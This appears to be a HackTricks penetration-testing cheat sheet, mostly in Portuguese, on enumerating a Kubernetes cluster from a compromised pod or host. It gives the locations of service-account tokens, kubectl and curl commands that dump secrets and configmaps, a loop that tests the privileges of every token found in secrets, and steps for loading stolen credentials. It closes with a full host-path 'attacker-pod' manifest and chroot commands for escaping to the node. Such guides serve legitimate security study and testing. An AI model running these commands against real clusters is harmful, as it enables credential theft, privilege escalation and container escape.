Kubernetes Enumeration

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Kubernetes Tokens

Se você tiver acesso comprometido a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela variável de ambiente KUBECONFIG ou dentro de ~/.kube.

Nesta pasta, você pode encontrar arquivos de configuração com tokens e configurações para se conectar ao servidor API. Nesta pasta, você também pode encontrar uma pasta de cache com informações previamente recuperadas.

Se você comprometeu um pod dentro de um ambiente kubernetes, há outros lugares onde você pode encontrar tokens e informações sobre o ambiente K8 atual:

Service Account Tokens

Antes de continuar, se você não sabe o que é um serviço no Kubernetes, eu sugeriria que você seguísse este link e lesse pelo menos as informações sobre a arquitetura do Kubernetes.

Retirado da documentação:

“Quando você cria um pod, se não especificar uma conta de serviço, ela é automaticamente atribuída à conta de serviço padrão no mesmo namespace.”

ServiceAccount é um objeto gerenciado pelo Kubernetes e usado para fornecer uma identidade para processos que são executados em um pod. Cada conta de serviço tem um segredo relacionado a ela e esse segredo contém um token portador. Este é um JSON Web Token (JWT), um método para representar reivindicações de forma segura entre duas partes.

Geralmente um dos diretórios:

• /run/secrets/kubernetes.io/serviceaccount

• /var/run/secrets/kubernetes.io/serviceaccount

• /secrets/kubernetes.io/serviceaccount

contém os arquivos:

• ca.crt: É o certificado CA para verificar as comunicações do kubernetes

• namespace: Indica o namespace atual

• token: Contém o token de serviço do pod atual.

Agora que você tem o token, pode encontrar o servidor API dentro da variável de ambiente KUBECONFIG. Para mais informações, execute (env | set) | grep -i "kuber|kube"

O token da conta de serviço está sendo assinado pela chave que reside no arquivo sa.key e validado por sa.pub.

Localização padrão no Kubernetes:

• /etc/kubernetes/pki

Localização padrão no Minikube:

• /var/lib/localkube/certs

Hot Pods

Hot pods são pods que contêm um token de conta de serviço privilegiado. Um token de conta de serviço privilegiado é um token que tem permissão para realizar tarefas privilegiadas, como listar segredos, criar pods, etc.

RBAC

Se você não sabe o que é RBAC, leia esta seção.

GUI Applications

• k9s: Uma GUI que enumera um cluster kubernetes a partir do terminal. Confira os comandos em https://k9scli.io/topics/commands/. Escreva :namespace e selecione tudo para então pesquisar recursos em todos os namespaces.

• k8slens: Oferece alguns dias de teste gratuito: https://k8slens.dev/

Enumeration CheatSheet

Para enumerar um ambiente K8s, você precisa de alguns itens:

• Um token de autenticação válido. Na seção anterior, vimos onde procurar um token de usuário e um token de conta de serviço.

• O endereço (https://host:port) do API do Kubernetes. Isso pode ser geralmente encontrado nas variáveis de ambiente e/ou no arquivo de configuração kube.

• Opcional: O ca.crt para verificar o servidor API. Isso pode ser encontrado nos mesmos lugares onde o token pode ser encontrado. Isso é útil para verificar o certificado do servidor API, mas usando --insecure-skip-tls-verify com kubectl ou -k com curl, você não precisará disso.

Com esses detalhes, você pode enumerar kubernetes. Se a API por algum motivo for acessível através da Internet, você pode simplesmente baixar essas informações e enumerar a plataforma a partir de sua máquina.

No entanto, geralmente o servidor API está dentro de uma rede interna, portanto, você precisará criar um túnel através da máquina comprometida para acessá-lo a partir de sua máquina, ou pode fazer upload do kubectl binário, ou usar curl/wget/qualquer coisa para realizar solicitações HTTP brutas ao servidor API.

Differences between list and get verbs

Com permissões get, você pode acessar informações de ativos específicos (opção describe em kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Se você tiver a permissão list, você está autorizado a executar solicitações de API para listar um tipo de ativo (opção get no kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Se você tiver a permissão watch, você está autorizado a executar solicitações de API para monitorar ativos:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Eles abrem uma conexão de streaming que retorna o manifesto completo de um Deployment sempre que ele muda (ou quando um novo é criado).

Os seguintes comandos kubectl indicam apenas como listar os objetos. Se você quiser acessar os dados, precisa usar describe em vez de get

Usando curl

De dentro de um pod, você pode usar várias variáveis de ambiente:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Por padrão, o pod pode acessar o kube-api server no nome de domínio kubernetes.default.svc e você pode ver a rede kube em /etc/resolv.config pois aqui você encontrará o endereço do servidor DNS do kubernetes (o ".1" do mesmo intervalo é o endpoint do kube-api).

Usando kubectl

Tendo o token e o endereço do servidor API, você usa kubectl ou curl para acessá-lo conforme indicado aqui:

Por padrão, o APISERVER está se comunicando com o esquema https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

se não houver https:// na URL, você pode receber um erro como Bad Request.

Você pode encontrar um cheatsheet oficial do kubectl aqui. O objetivo das seções a seguir é apresentar de forma ordenada diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso.

Para encontrar a solicitação HTTP que o kubectl envia, você pode usar o parâmetro -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configuração Atual

Kubectl

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Se você conseguiu roubar as credenciais de alguns usuários, pode configurá-las localmente usando algo como:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Obter Recursos Suportados

Com essas informações, você saberá todos os serviços que pode listar

kubectl

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Obter Privilégios Atuais

kubectl

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

API

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Outra maneira de verificar seus privilégios é usando a ferramenta: https://github.com/corneliusweig/rakkess****

Você pode aprender mais sobre Kubernetes RBAC em:

Kubernetes Role-Based Access Control(RBAC)

Uma vez que você saiba quais privilégios você tem, verifique a página a seguir para descobrir se você pode abusar deles para escalar privilégios:

Abusing Roles/ClusterRoles in Kubernetes

Obter outros papéis

kubectl

k get roles
k get clusterroles

API

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Obter namespaces

Kubernetes suporta múltiplos clusters virtuais suportados pelo mesmo cluster físico. Esses clusters virtuais são chamados de namespaces.

kubectl

k get namespaces

API

kurl -k -v https://$APISERVER/api/v1/namespaces/

Obter segredos

kubectl

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Se você pode ler segredos, pode usar as seguintes linhas para obter os privilégios relacionados a cada token:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Obter Contas de Serviço

Como discutido no início desta página, quando um pod é executado, uma conta de serviço é geralmente atribuída a ele. Portanto, listar as contas de serviço, suas permissões e onde estão sendo executadas pode permitir que um usuário escale privilégios.

kubectl

k get serviceaccounts

API

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Obter Implantações

As implantações especificam os componentes que precisam ser executados.

kubectl

k get deployments
k get deployments -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Obter Pods

Os Pods são os contêineres reais que irão executar.

kubectl

k get pods
k get pods -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Obter Serviços

Os serviços do Kubernetes são usados para expor um serviço em uma porta e IP específicos (que atuarão como balanceador de carga para os pods que estão realmente oferecendo o serviço). Isso é interessante para saber onde você pode encontrar outros serviços para tentar atacar.

kubectl

k get services
k get services -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Obter nós

Obtenha todos os nós configurados dentro do cluster.

kubectl

k get nodes

API

kurl -v https://$APISERVER/api/v1/nodes/

Obter DaemonSets

DaemonSets permite garantir que um pod específico esteja em execução em todos os nós do cluster (ou nos selecionados). Se você excluir o DaemonSet, os pods gerenciados por ele também serão removidos.

kubectl

k get daemonsets

API

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Obter cronjob

Os cron jobs permitem agendar, usando uma sintaxe semelhante ao crontab, o lançamento de um pod que realizará alguma ação.

kubectl

k get cronjobs

API

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Obter configMap

configMap sempre contém muitas informações e arquivos de configuração que fornecem para os aplicativos que rodam no kubernetes. Normalmente, você pode encontrar muitas senhas, segredos e tokens que são usados para conectar e validar a outros serviços internos/externos.

kubectl

k get configmaps # -n namespace

API

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Obter Políticas de Rede / Políticas de Rede Cilium

Primeira Aba

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Obter Tudo / Todos

kubectl

k get all

Obter todos os recursos gerenciados pelo helm

kubectl

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Obter consumos de Pods

kubectl

k top pod --all-namespaces

Escapando do pod

Se você conseguir criar novos pods, pode ser capaz de escapar deles para o nó. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, mudar para o pod criado e, em seguida, chroot no sistema do nó. Você pode usar pods já existentes como referência para o arquivo yaml, uma vez que eles exibem imagens e caminhos existentes.

kubectl get pod <name> [-n <namespace>] -o yaml

se você precisar criar um pod em um nó específico, pode usar o seguinte comando para obter rótulos no nó

k get nodes --show-labels

Comumente, kubernetes.io/hostname e node-role.kubernetes.io/master são todos bons rótulos para seleção.

Então você cria seu arquivo attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Depois disso, você cria o pod

kubectl apply -f attacker.yaml [-n <namespace>]

Agora você pode alternar para o pod criado da seguinte forma

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

E finalmente você chroot no sistema do nó

chroot /root /bin/bash

Informações obtidas de: Kubernetes Namespace Breakout usando Insecure Host Path Volume — Parte 1 Atacando e Defendendo Kubernetes: Bust-A-Kube – Episódio 1

Referências

Kubernetes Pentest Methodology Part 3CyberArk

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Confira os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.